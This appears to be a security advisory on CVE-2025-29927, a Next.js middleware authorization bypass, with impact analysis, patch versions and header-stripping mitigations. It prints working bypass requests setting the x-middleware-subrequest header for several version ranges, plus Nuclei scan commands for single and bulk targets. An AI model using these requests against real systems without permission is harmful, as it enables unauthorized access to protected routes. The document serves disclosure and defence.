Next.js Middleware Authorization Bypass - CVE-2025-29927
A critical security vulnerability has been discovered in Next.js that enables attackers to bypass middleware-based authorization checks. This comprehensive guide analyzes the vulnerability, demonstrates testing methods, and provides remediation strategies.
Key Takeaways
- Critical vulnerability affecting Next.js versions 11.1.4 through 15.2.3
- Allows complete bypass of middleware-based security controls
- Simple exploitation using a single HTTP header
- Affects self-hosted Next.js applications using middleware
- Official patches available for all affected versions
Technical Analysis
Understanding the Vulnerability
The vulnerability (CVE-2025-29927) exploits a design flaw in Next.js’s middleware processing system. At its core, the issue lies in how Next.js handles the x-middleware-subrequest header, which was originally designed for internal use to prevent recursive middleware execution.
When a request includes this header with specific values, Next.js skips all middleware execution and forwards the request directly to its destination. This behavior effectively bypasses any security checks implemented in middleware layers.
Exploitation Details
The exploitation method varies by Next.js version:
Pre-12.2 Versions
GET /api/protected HTTP/1.1
Host: <redacted>
X-Middleware-Subrequest: pages/_middleware
Versions 12.2+
GET /api/protected HTTP/1.1
Host: <redacted>
X-Middleware-Subrequest: middleware
Versions 13.2.0+
GET /api/protected HTTP/1.1
Host: <redacted>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Impact Analysis
Affected Systems
- Self-hosted Next.js applications using middleware with
next startandoutput: 'standalone' - Applications relying on middleware for authentication/authorization
- Systems using middleware for security headers or routing logic
Not Affected
- Applications hosted on Vercel
- Applications hosted on Netlify
- Static exports (where middleware is not executed)
Security Implications
- Authorization Bypass: Attackers can access protected routes without proper authentication
- Security Header Bypass: CSP and other security headers set via middleware can be circumvented
- Cache Poisoning Risk: Potential for cache poisoning attacks when cache control headers are bypassed
Detection and Testing
Using npm audit
Check for Vulnerable Dependencies
npm auditCheck Specific Next.js Version
npm list next
Using Nuclei Scanner
The official Nuclei template for CVE-2025-29927 is available in the ProjectDiscovery repository: CVE-2025-29927.yaml
Basic Vulnerability Scan
nuclei -u https://target-nextjs-app.com -t http/cves/2025/CVE-2025-29927.yamlBulk Domain Testing
nuclei -l urls.txt -t http/cves/2025/CVE-2025-29927.yaml
Manual Testing Steps
- Identify Next.js application
- Locate protected routes
- Add
x-middleware-subrequestheader - Observe response behavior
- Verify bypass success
Responsible Testing
- Only test applications you have permission to test
- Avoid testing production systems without proper authorization
- Report findings responsibly to affected organizations
- Follow the target organization’s security disclosure policy
Remediation Guide
Official Patches
Update to these secure versions:
| Version Range | Update To |
|---|---|
| Next.js 15.x | 15.2.3 |
| Next.js 14.x | 14.2.25 |
| Next.js 13.x | 13.5.9 |
| Next.js 12.x | 12.3.5 |
Temporary Mitigations
If immediate patching is not possible, implement one of these workarounds:
Load Balancer Configuration:
# For Nginx proxy_set_header x-middleware-subrequest "";Web Application Firewall (WAF):
- Block or strip requests containing the
x-middleware-subrequestheader
- Block or strip requests containing the
Custom Express Middleware:
app.use((req, res, next) => { delete req.headers["x-middleware-subrequest"]; next(); });
Security Best Practices
Defense in Depth
- Implement multiple layers of security
- Don’t rely solely on middleware
- Add backend validation
Monitoring and Logging
- Monitor for suspicious headers
- Log authentication attempts
- Track middleware bypasses
Regular Updates
- Keep Next.js updated
- Monitor security advisories
- Implement automated updates
Timeline
| Date | Event |
|---|---|
| 2025-02-27 | Initial vulnerability disclosure |
| 2025-03-14 | Patches developed |
| 2025-03-17 | Version 14.2.25 released |
| 2025-03-18 | Version 15.2.3 released |
| 2025-03-18 | CVE-2025-29927 issued |
| 2025-03-22 | Version 13.5.9 released |
| 2025-03-23 | Version 12.3.5 released |
Conclusion
CVE-2025-29927 represents a significant security risk for self-hosted Next.js applications. The vulnerability’s ease of exploitation combined with its severe impact makes immediate patching crucial. Organizations should prioritize updates and implement additional security layers beyond middleware-based controls.
Additional Resources
FAQs
Q: How do I know if my application is vulnerable?
A: Check your Next.js version and verify if you’re using middleware for security controls.
Q: Is my Vercel-hosted application affected?
A: No, Vercel-hosted applications are automatically protected.
Q: What should I do if I can’t update immediately?
A: Implement WAF rules to strip the x-middleware-subrequest header from incoming requests.
Last updated: March 25, 2025